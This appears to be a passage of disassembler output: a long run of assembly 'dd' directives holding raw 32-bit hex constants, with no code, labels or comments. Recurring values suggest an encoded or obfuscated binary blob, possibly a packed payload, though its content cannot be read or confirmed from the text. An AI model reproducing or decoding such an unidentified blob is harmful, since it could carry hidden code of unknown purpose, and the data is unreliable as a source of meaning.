		dd 10AB053Bh, 330C487Bh, 0B79807BDh, 34395C2Eh,	3214E41Eh
		dd 0CDEC6688h, 0E3940694h, 574E8683h, 321577F8h, 0A3134D88h
		dd 5C1732ACh, 9765B10h,	0ADEC19D7h, 0BB74C06Eh,	1BB04C1h
		dd 32018F24h, 0D30E6611h
		dd 0EAC99FA2h, 5086F777h, 8F321EBFh, 23981D49h,	0B7D37C73h
		dd 343947E9h, 3AFC9361h, 0A9156611h, 5166FD53h,	5A4A2295h
		dd 0B6E4CA15h, 0CB9E0071h, 321B8FE9h, 10456644h, 4D87F9A7h
		dd 2D97EFC4h, 0CF4C8D70h, 2464D3BBh, 0BFE9600Eh, 1E2F6A94h
		dd 0D094068Eh, 20AACC8h, 92E2E744h, 0E2EA07FAh,	0C07DCE8h
		dd 0B973421Ch, 0B79C07EAh, 3426C877h, 32156861h, 1DDA9544h
		dd 21DA56Bh, 0BAA332BDh, 0F4A50B74h, 1E34CBC1h,	3BFC2924h
		dd 20156611h, 6EC283DFh, 88262DA8h, 785B24Ah, 339B6986h
		dd 0CE156688h, 2464D3BBh, 0BFEC600Eh, 1E2F6A94h, 0E2EA9E8Eh
		dd 321DE24Bh, 54756622h, 8D1AB69Ah, 0B79C0752h,	3426C82Eh
		dd 32156BCBh, 5A923C11h, 8D1B94A3h, 30CDC3D2h, 0B7D3B8E8h
		dd 343947BCh, 32048FC7h, 63236644h, 6A195435h, 0F0AA3CC1h
		dd 0C4046824h, 0DBADE1EEh, 3215662Fh, 196A0E0Ah, 75739AE3h
		dd 0AFF402DBh, 3C170E57h, 0DA759F7Fh, 32156687h, 0CDADA2BEh
		dd 4ECD99AAh, 12295903h, 807F49D2h, 0B247392Dh,	534BF7E9h
		dd 2464D3EEh, 20FC60A4h, 6B156644h, 0B2BA9FCDh,	0E34A6F7Bh
		dd 9FD0FFC0h, 0F13E313Ch, 3E90EB10h, 0CA134A2Bh, 0BD1AB677h
		dd 32156648h, 321561CBh, 0C2ABA711h, 61D3117h, 9C7BE3CDh
		dd 0B81A6011h, 32156616h, 3214E787h, 52ED6644h,	321574CAh
		dd 0D8EAAC11h, 0E6F3DB35h, 38D1DAC6h, 0DD2E0C38h, 3D10925Ah
		dd 3215660Eh, 0F4743C44h, 1E34CBA7h, 0BF1A2B17h, 3215669Eh
		dd 321577ADh, 9EACE322h, 0E1DE3BBEh, 0E8A00C3Ch, 46AC1B95h
		dd 7B7DC0F2h, 3DDD5168h, 32157503h, 321B8F44h, 5DDE6622h
		dd 6F8FF0BBh, 0C1757C80h, 1F899320h, 2464D3DDh,	8875603Dh
		dd 14330C04h, 32108E16h, 3C356622h, 6886A66Ch, 0B79807D1h
		dd 34395C48h, 3DC599DEh, 3215679Dh, 0B79C9A88h,	3426C832h
		dd 9F90A0DAh, 7F134A30h, 851A34E8h, 35FC3E8Bh, 0FD156622h
		dd 6E0B0125h, 5A743BEDh, 0EEE22BCDh, 3219E72Dh,	0B41A6611h
		dd 3215668Eh, 3215E84Bh, 87EA6622h, 34397060h, 3212E787h
		dd 0B81A6644h, 32156623h, 3E90EBE8h, 3D134AB2h,	321561C0h
		dd 0B9730622h, 534E30C7h, 38FCB677h, 0DB156644h, 0DB05716Dh
		dd 0A570D84Dh, 4090EFBFh, 521355EAh, 3213E72Dh,	0B21A6611h
		dd 32156688h, 321576ADh, 41DD5422h, 87A3D6Fh, 0B61BAFE9h
		dd 0B7F4DAB1h, 0B7D307FEh, 343947BCh, 0D19406DDh, 6907AAE9h
		dd 53DED12Dh, 29385179h, 87EA9F14h, 34397035h, 32156ACBh
		dd 0A7C4C411h, 296A7EAAh, 0ABE04DD5h, 3E90EBCAh, 0CE134A2Bh
		dd 3D75B677h, 0DF95A8FBh, 0B79C0797h, 3426C86Bh, 9F90A070h
		dd 71134A65h, 0C23F0EDEh, 0CDEDB4C4h, 1E03173Dh, 1AAB0642h
		dd 0DA42AD8Bh, 32156600h, 54D1FE57h, 9FFE1A5Bh,	6BA8C8ECh
		dd 66D2E15Eh, 321D8F2Bh, 0F9876644h, 0ABC83C9Ch, 534B5291h
		dd 819E305h, 0CDE96068h, 339869F2h, 0CA156611h,	9C6BE301h
		dd 0B71A6077h, 32156637h, 321E8E71h, 28CB6688h,	0C057ADA2h
		dd 4924B8FDh, 6A473EA5h, 9F90A0E9h, 60134A65h, 86FF0ED7h
		dd 3EFC9B53h, 45156688h, 0DED62BB1h, 760EC2C2h,	0CDAA9598h
		dd 1E03173Dh, 0BFE09A42h, 1E2F6AA7h, 32128F17h,	638D6688h
		dd 2E195025h, 3DC59949h, 32156D9Bh, 32138F88h, 9C1D6644h
		dd 0E2ECD0B5h, 3F24E398h, 0BB1A60A4h, 3215666Ch, 32048F42h
		dd 750C6611h, 3A3963D0h, 0C0765837h, 0E8C7AD74h, 0DB786279h
		dd 32156683h, 94E8C91h,	8F9EF8BCh, 533475C5h, 13B8E34Eh
		dd 3D526068h, 321561A0h, 33946911h, 0C7156688h,	0AA4CFF2Ch
		dd 359869C0h, 3D156611h, 32156701h, 87EA9344h, 34397053h
		dd 3E90EBEDh, 52134AB2h, 59FAE722h, 0B01A060Bh,	32156611h
		dd 0E2EA07E9h, 321574ADh, 5CFD5D22h, 0C7F08B89h, 0E12DABBh
		dd 0B2AC87ECh, 0BB70A536h, 1BBE494h, 3A9E698Eh,	3D156644h
		dd 321564A6h, 0F4740611h, 1E34CB0Dh, 5AE92142h,	83E806E0h
		dd 43A099E8h, 0C7134A9Eh, 819E3C9h, 0B41A600Eh,	32156610h
		dd 0DBC59974h, 32156641h, 8DC268F8h, 321A8FA8h,	0FA486688h
		dd 0E4EB7080h, 26DFA65Ch, 8CAD7BDCh, 0B490EFA1h, 0CB1355EAh
		dd 13B8E3E4h, 3D52603Dh, 32156708h, 267D9F44h, 0CACAC0DCh
		dd 2464D3EEh, 0BFE960A4h, 1E2F6AC1h, 321C8F24h,	0E0676611h
		dd 64B825D3h, 0CD1ADB18h, 0B79C9AF2h, 3426C89Bh, 0B9739EE8h
		dd 547507BEh, 84F92A9Dh, 0B7D3076Ah, 34394725h,	1EAE061Bh
		dd 3D7E6B7Ch, 32156099h, 19F6E788h, 53046651h, 62E70E4Ah
		dd 87EA9F8Fh, 343970F9h, 0D7953124h, 0BF743F27h, 1E2F6A94h
		dd 0B373068Eh, 53BF5F8Ch, 26FCB6DDh, 13156611h,	28B780ABh
		dd 7DC0DB56h, 438E6761h, 0A9314707h, 0BBF3D182h, 1BBE8C1h
		dd 32058F24h, 86806611h, 63A6A44Ch, 0BB93634Eh,	85DF137Fh
		dd 0B7D3D737h, 34394725h, 0BD1A060Bh, 32156624h, 23B8A590h
		dd 3D4606FAh, 321566C0h, 5A743922h, 0F5E91D2Eh,	87EA9371h
		dd 34397035h, 0B3739F42h, 534EDAC3h, 819E305h, 21FC6068h
		dd 0A156622h, 0D248E476h, 0A1638067h, 0F0199A5Dh, 4786F489h
		dd 0E2EAC9B1h, 0EDA269E8h, 8890EF25h, 3D13558Ch, 3215689Fh
		dd 321C8F88h, 20D36644h, 0D068B693h, 0F4DB25F7h, 1E34CB0Dh
		dd 3D752142h, 0E495A595h, 7E7D0749h, 3DEF3DE6h,	32156ECFh
		dd 0FD9F0622h, 9F81DF77h, 43A099E9h, 0CB134A52h, 819E3AFh
		dd 20FC603Dh, 0A0156688h, 51104F31h, 93B6FA21h,	0B15F7128h
		dd 0C52A75A2h, 3DC599AEh, 32156AA2h, 34916911h,	3D156688h
		dd 321566C4h, 8C90EF22h, 521355BFh, 34FCB63Bh, 0D2156644h
		dd 228CEB31h, 0B7D3078Ah, 34394725h, 5AEC9A03h,	0F11342EFh
		dd 0A2E3E671h, 4715D8EEh, 43A09925h, 3D134A34h,	32157F94h
		dd 32018F88h, 0A08C6644h, 6206B38Bh, 785B188Dh,	929284ECh
		dd 84846A85h, 0B798E721h, 34395C1Dh, 3DC59970h,	32156AC4h
		dd 32128F22h, 20986611h, 0CE51464Eh, 0F090EFCDh, 3D13558Ch
		dd 32156795h, 0B7D39388h, 343947E9h, 0FE7D9F7Dh, 52C1DD71h
		dd 21FD9703h, 2B156644h, 6009E303h, 6550EBF6h, 91B44BE6h
		dd 9B110250h, 534D7205h, 2464D3EEh, 547560A4h, 0DB74ACCFh
		dd 32156627h, 52FF1E0Bh, 3E90EB6Bh, 52134A7Eh, 16DBB6A3h
		dd 8873187Bh, 0CD74F1C7h, 35926994h, 3D156622h,	3215679Eh
		dd 0BE1A9F88h, 3215664Ch, 3217E12Dh, 53756611h,	9C87E301h
		dd 52E96077h, 32916942h, 53156611h, 53EBEDEEh, 13B8E382h
		dd 3D4A600Eh, 32156199h, 33906988h, 0CE156644h,	0DB41284Ah
		dd 321A8F8Fh, 0FFBC6688h, 55EF59A4h, 0DBB5B916h, 0B6815F1Dh
		dd 43A09903h, 0C7134A52h, 819E3AFh, 23FC603Dh, 66156688h
		dd 5FE9EEF2h, 3D94AB92h, 4D8BCC36h, 0A0AEC6C9h,	22FCB6BBh
		dd 28156622h, 9CA85350h, 27891BBAh, 0D976CB7Ah,	0BB23D1F8h
		dd 1BBF094h, 0B7D39A8Eh, 343947E9h, 32018F7Dh, 72A86611h
		dd 43DC9C89h, 9D7C9190h, 59D37992h, 0DF973158h,	7A7D725Fh
		dd 3DC4756Ch, 321567A5h, 0CDED9E11h, 1E03173Dh,	0B9750642h
		dd 0DEAE00DCh, 0B8420709h, 0BF743D4Bh, 1E2F6AC1h, 339F6924h
		dd 0CE156611h, 0BBECB677h, 1BBFCC1h, 0F0940624h, 2988A31Ch
		dd 329769E8h, 54156644h, 5367C49Dh, 0DB110C70h,	3215668Fh
		dd 0A5DFB3B2h, 5A7FEA10h, 32157611h, 3203EB87h,	23FC6644h
		dd 0BF156622h, 58E830DDh
		dd 0EC3C9A6Ch, 801BE91Fh, 0C5622F69h, 32056679h, 219A6988h
		dd 52156644h, 3ED4E744h, 32128F53h, 0A8976688h,	7142A665h
		dd 8B75076Bh, 576E6FA5h, 0EFD5E7EEh, 327F07BAh,	21956942h
		dd 0DA156611h, 32156685h, 24831870h, 9B98C5CAh,	5123080Fh
		dd 0CCAB39E2h, 5334379Dh, 1774F3DDh, 3BFC603Dh,	8D156688h
		dd 8215B808h, 73BE4164h, 2DA0E398h, 0BFEC60A4h,	14652C1h
		dd 321D8F24h, 82276611h, 61E18FB0h, 0E2EA5D3Ah,	32156BCBh
		dd 0AA942A11h, 0CE1E684Eh, 5012B4C2h, 367FDE6Bh, 32156EF8h
		dd 0B53FC988h, 0A078107Ch, 22150EF7h, 5AEC6611h, 32154688h
		dd 0E0940024h, 0DE9F4B8Ah, 339F6970h, 0CA156688h, 5275662Eh
		dd 0B9E7D92Dh, 55AB07DEh, 5368A5BEh, 1774F3BBh,	0DB75600Eh
		dd 3215661Dh, 0BD8DD6DAh, 0F4FFC821h, 0EEF5926Ah, 3217E01Eh
		dd 0E29E6688h, 0E390EF25h, 0C7134A3Dh, 13A0E398h, 21FC60A4h
		dd 10156644h, 59A063B1h, 0B2E59F87h, 0D4104C6Dh, 0BAA62D28h
		dd 727FD471h, 320DE81Eh, 54756688h, 0DB1129FCh,	3215662Fh
		dd 0DCA0204Fh, 97E9E619h, 6029D782h, 327D0765h,	3D156601h
		dd 3215670Eh, 327D9F44h, 0DB156722h, 32156614h,	564DE6C5h
		dd 0DB150CBCh, 32156627h, 2A04BE0Bh, 5380998Ch,	0DB134A61h
		dd 3215662Ch, 4FF6176Fh, 2B54F08Bh, 0F8BF7D26h,	0B79CFBD4h
		dd 343967BCh, 879E9A70h, 3439735Dh, 7B88EDDBh, 3D134A32h
		dd 32157905h, 2B976944h, 0DB156622h, 32156605h,	68690635h
		dd 60F37587h, 6D8512DBh, 30C7054Fh, 466E84h, 1424D3CDh
		dd 6175600Eh, 8D1A064Eh, 3D74077Ah, 321570CBh, 32048F22h
		dd 8B816611h, 0EDA0F7F5h, 80BF55FFh, 41350D4Dh,	0BB3FAC47h
		dd 1E126715h, 32068F42h, 52DA6622h, 0CCAB610Fh,	0FF72DF46h
		dd 1CF3F19Ah, 23584514h, 7B88ED2Ah, 0CB134AABh,	3215DE14h
		dd 0EA146622h, 6A4C56EEh, 32ECE570h, 80FE24Bh, 54756622h
		dd 0CFBC9590h, 5A74B802h, 32151BD6h, 3D3162ABh,	32156A9Ch
		dd 34966988h, 3D156644h, 321566A6h, 1F8B0E11h, 3E9C6688h
		dd 32048F60h, 97756622h, 393DEE33h, 0B38E178Eh,	0BF902E89h
		dd 5251E849h, 321568F8h, 47C96288h, 14565897h, 7E93A897h
		dd 31A4666h, 3A996948h,	3D156644h, 321564ABh, 0BB740611h
		dd 1E1C870Dh, 32108F42h, 76946622h, 3DBB379Eh, 3215670Eh
		dd 60449E44h, 8516194Ah, 0C0943C2Ch, 229A3543h,	0B3FFB706h
		dd 0AE3D78C8h, 68C4EF07h, 0CB4CA801h, 340388C5h, 461612CCh
		dd 8A454635h, 46FB609Eh, 3D4DA045h, 32156AAEh, 34936911h
		dd 3D156688h, 321566C1h, 3DB80022h, 32157D9Eh, 26FC0688h
		dd 0A9156644h, 0A3D2DC65h, 0DB4B032Eh, 0F4FC3C6Ah, 2C97C8C9h
		dd 5348DD13h, 32156AF8h, 926DF688h, 620050CCh, 36D020CCh
		dd 1EAF34F9h, 1B2A819Ch, 76163C94h, 1E104606h, 0DB2A8105h
		dd 3215669Ch, 2AD26DE3h, 0E40AE6C8h, 74A72DBCh,	3FE9CE19h
		dd 2579340Fh, 0B96D16DDh, 0F6964225h, 0F494938Ch, 6FA501CBh
		dd 12311221h, 284ADB44h, 0DF943052h, 7A162839h,	44868BA3h
		dd 0F7944545h, 403B74C8h, 0CA48886Dh, 0B90D10DDh, 0F694422Dh
		dd 3215668Ch, 0B3730624h, 610F28E2h, 8975074Eh,	5EAF125h
		dd 8F9C0725h, 34397E93h, 3DEAE3E9h, 3215510Dh, 3DED0644h
		dd 321568A9h, 321D8E11h, 5206688h, 711F996Eh, 534E0A30h
		dd 3274F4F9h, 83FC9388h, 0DB156641h, 32156632h,	0D3C5E37Ch
		dd 0CA20BC59h, 82945285h, 15CF9DF3h, 37F5EF41h,	3215668Ch
		dd 0B5118EC7h, 0BB494226h, 8875421Dh, 69D79B41h, 6D740615h
		dd 269E3143h, 36D1E735h, 3D156688h, 32156AC3h, 0B91A0622h
		dd 32156611h, 0CA46DFEEh, 36C70D25h, 2F80EFDEh,	0DB134A31h
		dd 3215669Ch, 0F9C0B726h, 0E51AD7E9h, 0C37AD97h, 4DC44A14h
		dd 37E8F59Eh, 54756248h, 78F48C90h, 6B7406DBh, 0F3940625h
		dd 2AB10D62h, 22150E70h, 3CFC6688h, 25156644h, 0C400C2B8h
		dd 71813887h, 0E336FC3Ch, 0C59406C0h, 14BAD1F1h, 53CBA391h
		dd 0B3F4EFD9h, 32156285h, 36FCE522h, 6E316A96h,	0CA317201h
		dd 0CDE0662Eh, 1E3007B7h, 0DB750617h, 32156681h, 5CD9C306h
		dd 220B35B6h, 53EDEC07h, 0BB749E03h, 1E15FBC1h,	32138F24h
		dd 0F68B6611h, 445BF414h, 1601ED14h, 3211A2A3h,	20FC6611h
		dd 93156688h, 85D70687h, 0F3D3D30Ch, 0A68CEFEBh, 247DCAACh
		dd 3E9E933Eh, 0D39C3706h, 3211A790h, 0F3966688h, 1619E140h
		dd 56FD937Eh, 52156671h, 3D6A8708h, 0B37497FBh,	321562CEh
		dd 1621EF11h, 0B51ACB74h, 3215665Fh, 3200EC2Dh,	22FC6611h
		dd 0EA156688h, 0A1E9400Ch, 8988111Dh, 0DE4205E8h, 3756BB3Ch
		dd 1CC81CC3h, 0AA6B4127h, 16516547h, 4C324BACh,	0B53830DCh
		dd 3D3BBB58h, 32156C9Dh, 0B9730688h, 0C5940082h, 374A062h
		dd 3D257E9h, 33956970h,	0CB156644h, 1609ED75h, 3D11A292h
		dd 32157108h, 32078F44h, 0DF176622h, 71392046h,	76C504C4h
		dd 62615F68h, 0EDF2A255h, 321BEA1Eh, 3BFC6688h,	0B6156644h
		dd 0A5FCCB9h, 79484932h, 0B3F6EFDBh, 32156287h,	36FEE522h
		dd 6E317A96h, 0DB315A01h, 3215664Eh, 36761EBBh,	5E82D2EFh
		dd 0F22520A2h, 3204E24Bh, 3EFC6622h, 75156611h,	34E8FCBEh
		dd 0D171B747h, 9CBC7F24h, 53759B64h, 3214E087h,	0CEED6644h
		dd 673152A9h, 0F7948398h, 3215668Ch, 0B511A3C7h, 0CE49420Eh
		dd 4EDA190h, 0DD947278h, 19FA2F8Ch, 0F594B90Bh,	19FA2FD9h
		dd 4ED8909h, 0B71A72B4h, 3215662Ch, 32156FF8h, 0B5214988h
		dd 5C6D3896h, 667D870Ah, 0BB156641h, 0C775429Ch, 32018F25h
		dd 0FDEC6622h, 4AF4BFC4h, 2ECE5813h, 0A8AD5FACh, 18F47D8Dh
		dd 0BB40BAE8h, 0B9FFEF75h, 0F6964268h, 321E8F26h, 5EFA6611h
		dd 18033E2Ah, 50A4122Ch, 87A8EDE1h, 0C7134A0Eh,	0CDEA9931h
		dd 339969BBh, 0C7156622h, 0B91AA620h, 32156689h, 8C4334B8h
		dd 32156622h, 334B9498h, 6817EC7Ah, 32078F24h, 0A2E96622h
		dd 0C941F926h, 57BAA2F7h, 1C3078CAh, 5C0DED59h,	53E6ED77h
		dd 23FCAEB8h, 5156644h,	0E394D129h, 55FD2C6Bh, 38960C3Ah
		dd 0A81486ABh, 5FD7DF73h, 0EBE227AFh, 0B3128F49h, 664261A5h
		dd 0B1DCE756h, 0B340CC0Ah, 0CC0EEE61h, 6BDB4F11h, 321568CBh
		dd 60755511h, 0C8C040EBh, 0F3477801h, 0B969BCECh, 5475E115h
		dd 8B058409h, 0F374A4CFh, 3EC6ECBh, 0B37306D0h,	3D253562h
		dd 7874B5FBh, 0CD4BE32Dh, 5AED99EEh, 321560AFh,	6A316ACDh
		dd 32156ECBh, 6E2D6B11h, 9400B237h, 36923611h, 0B5C59106h
		dd 0DB4D4215h, 32156685h, 0FF712D3Bh, 541F6ECFh, 42ED68A4h
		dd 1601EDCFh, 0B3F2EF13h, 321562E5h, 36D2E711h,	0B5156688h
		dd 0DB494278h, 3215662Dh, 272710A6h, 91CDCAFCh,	49659AF9h
		dd 3DDACD87h, 32157297h, 321A8F88h, 2A5D6644h, 8EBFBBA7h
		dd 41D4173Dh, 0AFCFCF29h, 36F9E7E4h, 0BB156622h, 309A4215h
		dd 32157661h, 0F0E52D44h, 0E74105h, 3C4AA6C8h, 0E90F434Ah
		dd 3394693Ch, 0CE156622h, 3211D847h, 0C0146688h, 0B33152CFh
		dd 321562E6h, 27956911h, 0DB156688h, 32156654h,	20EE2F55h
		dd 4E53C185h, 63F770C8h, 467A536Fh, 3220E84Ah, 1601EF11h
		dd 3214E087h, 3DEC6644h, 32157FACh, 219E6911h, 0DB156688h
		dd 3215664Ah, 0D6C6DD9Dh, 8128E496h, 5CDB0BB2h,	0B7EA1EE2h
		dd 34396FC3h, 3602DE71h
		dd 851A3458h, 0A79E0797h, 34396FC3h, 30936971h,	80156688h
		dd 0E09400D1h, 0B74D66Dh, 1E0DD784h, 0D891698Eh, 3D156644h
		dd 32156EA3h, 309F6911h, 52156688h, 3DFD0625h, 79156622h
		dd 0BFBC9CF0h, 0AA4A9C4Fh, 88CF5200h, 3FFCAEBEh, 0AB156611h
		dd 67D6220Dh, 8268D8E0h, 0E7200F1Fh, 32048E4Eh,	0C6586688h
		dd 0A3A4B393h, 1B6F9043h, 0F7ABDAEDh, 84649AC4h, 0B9743D4Ah
		dd 0BB424236h, 36D2E7F6h, 0B1156688h, 0E926283h, 3D753A06h
		dd 32156397h, 0DA940088h, 0B974605Dh, 0BB404216h, 36D0E7F4h
		dd 0B3156688h, 32156281h, 1639E122h, 1DA2064Dh,	320DEF87h
		dd 21FC6644h, 0C4156622h, 0CA4F0D88h, 9E67E014h, 1135DD5Ah
		dd 0D379E235h, 5A747DC4h, 32154CCEh, 8A3162CDh,	32156626h
		dd 3D4DA010h, 32156B07h, 321D8F44h, 53256622h, 5A230376h
		dd 0C2FCFF78h, 3DEA99BFh, 32156CA4h, 53750611h,	3215EE87h
		dd 0DB746644h, 32156627h, 597B6B60h, 1601EDF9h,	0B3F2EF13h
		dd 321562E5h, 36D2E711h, 0B5156688h, 52494278h,	321A8FD7h
		dd 0D9F46611h, 0A16502D8h, 0EAC68917h, 424ECFD2h, 69E0711h
		dd 0D19C35ACh, 3211A5C5h, 0F1946622h, 32156615h, 6E317A0Fh
		dd 321569ADh, 0DC38DB22h, 2915C968h, 6AF4DFB8h,	251043CBh
		dd 3A9F6943h, 3D156611h, 32156409h, 0CD740644h,	0B34C4216h
		dd 321562D5h, 3EFD0688h, 6E156644h, 0B255D05Eh,	0BD486D84h
		dd 0B2813ED8h, 0B94FD586h, 6EA07FCh, 0F6963E35h, 32108F8Ch
		dd 88466644h, 3D3933D9h, 3215779Ch, 39976988h, 0DB156644h
		dd 32156624h, 0CF9203FFh, 0B7D25319h, 343956B1h, 32156622h
		dd 54E006E9h, 5322E430h, 3D24E383h, 3215600Eh, 35FC6611h
		dd 0F8156688h, 205427EAh, 8F9669D0h, 3426C813h,	11916988h
		dd 0DB156644h, 32156624h, 0AC7E1BAAh, 0AF984CC6h, 3427D48Eh
		dd 0DBC699DBh, 3215661Bh, 3877A891h, 45608E0Ch,	0B7EAF571h
		dd 34395740h, 321DE487h, 0BE1A6644h, 32156620h,	8F960771h
		dd 343957D9h, 60976920h, 3D156621h, 32156B98h, 321D8F88h
		dd 76476644h, 801A8084h, 0B11AF553h, 3215669Ch,	321569ADh
		dd 0DDD15922h, 0A8A99E6Bh, 1FF87613h, 8EC0BEDAh, 344E3E5h
		dd 3214603Dh, 35FC6688h, 2156644h, 0BD5230E4h, 0DB75672Bh
		dd 32156680h, 8A3B7602h, 1971FF9Bh, 6AF1E39Ch, 0DBE960BBh
		dd 32156648h, 273DF4BCh, 0DD75A043h, 187D66EEh,	21FCB6BBh
		dd 39156622h, 617747BDh, 3F2ACF24h, 4C1A8418h, 0F3366CFDh
		dd 87989ABCh, 3426C85Ah, 321563ADh, 0B0501022h,	8F984492h
		dd 34215F7Fh, 3203EA4Bh, 23FC6622h, 0E8156611h,	0E031F40Ah
		dd 3CF55029h, 0A8FD411Fh, 0AF140B6Eh, 321DEC87h, 0B61A6644h
		dd 32156620h, 0F5940771h, 23540065h, 8C43916Dh,	235400CFh
		dd 524B9138h, 3216E387h, 851A6644h, 0B94207D8h,	0F6944205h
		dd 3215668Ch, 32198F24h, 2F586622h, 0CB06AA29h,	712368C3h
		dd 0DA9470DAh, 7204FA33h, 87A8ED70h, 3D134A97h,	32154CCCh
		dd 3CFC0622h, 1C156611h, 84163BBFh, 736C9E39h, 987748B8h
		dd 32058FDAh, 75886688h, 30CCF258h, 498110A3h, 670D5E98h
		dd 8B74AFA3h, 0CDEA99BBh, 320CE12Dh, 26FC6611h,	0A5156688h
		dd 8C03E2B5h, 0E05A18DDh, 85DA8D47h, 0C32D8E1Dh, 36A4603h
		dd 64449AE2h, 0B5176379h, 0C55338E0h, 0C8FBE79Ah, 0BB821EDFh
		dd 0C31438E0h, 524C6702h, 0DC940024h, 39FCAC68h, 0F9156611h
		dd 12B4FEBAh, 2EAC734Dh, 0CE748D64h, 3DDD5670h,	32156A03h
		dd 34926944h, 3D156622h, 32156697h, 359C6988h, 3D156644h
		dd 321567AAh, 8F409F11h, 32156689h, 0DB488845h,	32156627h
		dd 5B74BCF4h, 0B52199E9h, 0E63152C5h, 6A2F7D46h, 0DF3DF40h
		dd 0EBE27621h, 4FCD97C5h, 0E3E2726Dh, 0B3118FD0h, 1B1C1041h
		dd 91E4E729h, 342122Bh,	0F3ED3FD9h, 3ED6E61h, 0EA940685h
		dd 2EB884C8h, 321575F8h, 0B6FB9888h, 2A05E691h,	0FF6D759Fh
		dd 91AF0D28h, 993461EFh, 0FF950625h, 269D6962h,	0DB156611h
		dd 32156687h, 3ADB39C4h, 0B1278AF7h, 0D42BCA03h, 53B7415Fh
		dd 2E90690Eh, 52EA99DDh, 0D6E9DC77h, 63743CD8h,	0B33162CFh
		dd 321562E6h, 26FC9E11h, 0BF156688h, 0C2FD7B39h, 8870853Bh
		dd 0F6E6A68Ch, 6E89E8DBh, 5A5E18A7h, 32155808h,	0C5316298h
		dd 0DB4D429Ch, 3215664Bh, 0B7A87Bh, 0EF0053B8h,	2198DB72h
		dd 0DBC4064Ch, 3215662Bh, 0EC03E66h, 119C721Eh,	87905F4Ah
		dd 3D134A36h, 3215CC95h, 0B61A0688h, 32156652h,	321577CBh
		dd 13A9D311h, 49404E5Ah, 98A2C8ACh, 30CB986Ch, 0BC1A94B1h
		dd 3215669Bh, 32156BACh, 7F8BEE22h, 0BE37A74Fh,	0C2B3D072h
		dd 534D7ED3h, 1EDF0E70h, 0C54F0E5Ch, 36F7A752h,	1758CC5h
		dd 0B3471D0Fh, 636F4215h, 1F4D3A2Fh, 6EB2373Eh,	0F21E9E78h
		dd 3236E31Eh, 21FC6688h, 38156644h, 806C5D6Eh, 29E1770Dh
		dd 0F7A5B37Ch, 0FB73F08Ah, 0B7D20477h, 3439605Ch, 32156689h
		dd 8A4534B1h, 32243F98h, 334DA498h, 26FC3C59h, 0DF156644h
		dd 15E833B0h, 648E3639h, 0D5090E8Ah, 62316EA3h,	53D461E5h
		dd 4AA833E4h, 0BB7744B3h, 1639EDADh, 3211A2A3h,	3DFC6611h
		dd 1C156688h, 2BF33ED6h, 4932B0EBh, 6DCF2583h, 0B31A78B0h
		dd 3215664Ch, 3217EE2Dh, 53756611h, 32095DE0h, 1611EF44h
		dd 1B440C4Ah, 43203E2Fh, 0F3435DCDh, 0EAE261ACh, 3671A017h
		dd 6AD7EFB6h, 320EEF87h, 0DB756644h, 32156630h,	168D595Fh
		dd 0DD02E228h, 0CE2C0273h, 9B3FD70Eh, 5BA4334Ch, 3E9569E9h
		dd 52156644h, 166CD844h, 937AAE90h, 9F74104Ah, 3212EE4Bh
		dd 0B31A6622h, 32156610h, 3A0EF7Dh, 0DB134A62h,	32156636h
		dd 0E13FA5F2h, 6F993D6Dh, 0ECE6B4DEh, 5DBBF65Fh, 0F2A03E46h
		dd 3215D9DFh, 0B3426644h, 1CA24216h, 749A61BDh,	0CE63E774h
		dd 35B948F3h, 3A9D697Dh, 3D156611h, 32156402h, 0DB740644h
		dd 3215662Ah, 7694E6FDh, 2CBB3707h, 0DCFB8879h,	0E29069CCh
		dd 0DB156611h, 32156683h, 17F30A37h, 736FB844h,	0B3533484h
		dd 0EFC8BBB6h, 86906999h, 52156622h, 0E9C2E747h, 6D79F1ACh
		dd 0FDAC3725h, 0B51ECE0Fh, 0E3922CC0h, 0FB94BF7Fh, 74DB675Dh
		dd 1ED0A7A3h, 3C9C6F31h, 3E9269D1h, 0DB156644h,	32156625h
		dd 7D081C93h, 3D705CF3h, 32156AC1h, 349D6922h, 3D156611h
		dd 32156607h, 36F9E744h, 0BB156622h, 36AD4215h,	33156688h
		dd 3CFC3E82h, 0B7156622h, 78FFBC95h, 7C515CF0h,	7758E9B4h
		dd 3A0EF35h, 52134A37h,	54DCD987h, 0DB74BFCFh, 32154DFAh
		dd 33976971h, 0C7156688h, 0F4E6E714h, 6803B9A9h, 0CC4E8F70h
		dd 0BA1A9977h, 32156653h, 321574CBh, 41185211h,	35266025h
		dd 0CB1E77B9h, 0F38A6CB1h, 62827780h, 80316209h, 69253400h
		dd 89ADB77h, 0C7944D2Ch, 50894A94h, 392083C5h, 0FF9437BBh
		dd 352310ABh, 1C8B09h, 0D93C7121h, 32068F7Fh, 38776611h
		dd 45608EC0h, 0C1D1F517h, 6E8075AAh, 359983BBh,	7F905544h
		dd 0C7134A42h, 3D16AEE3h, 32156C97h, 0A6A10688h, 3215E24Bh
		dd 1F746622h, 2FF16357h, 39048D8Dh, 1FC54F0Ch, 7A1E77C9h
		dd 0D6102014h, 0F2D49395h, 3A9A6954h, 52156622h, 0C748D977h
		dd 3749703h, 339F698Ch,	0CE156622h, 7F88EFE4h, 0DB134A8Eh
		dd 32156650h, 0EE8A0984h, 34C03CD7h, 6CA0D023h,	5C198EBDh
		dd 79E5ACF6h, 3315662Ch
		dd 0D6966988h, 3D156645h, 321572ADh, 321A8F11h,	38FF6688h
		dd 51C8F204h, 0B8F31DB9h, 8B892732h, 892BE7BDh,	3DAEDDFFh
		dd 3214D8A7h, 0C19E0611h, 53CAD187h, 3215DC16h,	249C6622h
		dd 0B331729Ah, 3215624Ch, 321A8F44h, 39AC6622h,	0CEF65CF0h
		dd 0B7A650B6h, 983DF782h, 33B60E7Bh, 369C6611h,	3211DEACh
		dd 0F4146644h, 879C937Ah, 34394020h, 32156161h,	12295944h
		dd 4C7F4978h, 115CFB9Ah, 0CE7560A4h, 53F9D324h,	33966943h
		dd 0CE156611h, 3215DCDAh, 0E8146644h, 269E6CA9h, 36D1E535h
		dd 3200E387h, 22FC6644h, 0B7156622h, 0E53FB9CFh, 8ACDED33h
		dd 0C68B1777h, 622C84CCh, 5B75DF40h, 7E1434A6h,	684C6260h
		dd 5B758CA3h, 0B71A343Fh, 32156699h, 32156AADh,	750EA322h
		dd 5FCCEF2Bh, 40113123h, 0B21A06D6h, 32156623h,	69434E4h
		dd 9B1399ACh, 1611ED44h, 3211A2A3h, 0CD206611h,	3D15CF8Eh
		dd 321572CEh, 3C9B6922h, 0DB156611h, 32156681h,	39A4E9E0h
		dd 1BD03B7Bh, 1B904DE4h, 52134A8Dh, 0B9C4ED22h,	0D2D407D1h
		dd 32078F13h, 0BAA76688h, 0EC61699Ch, 0BA52AF9Ah, 7771D46h
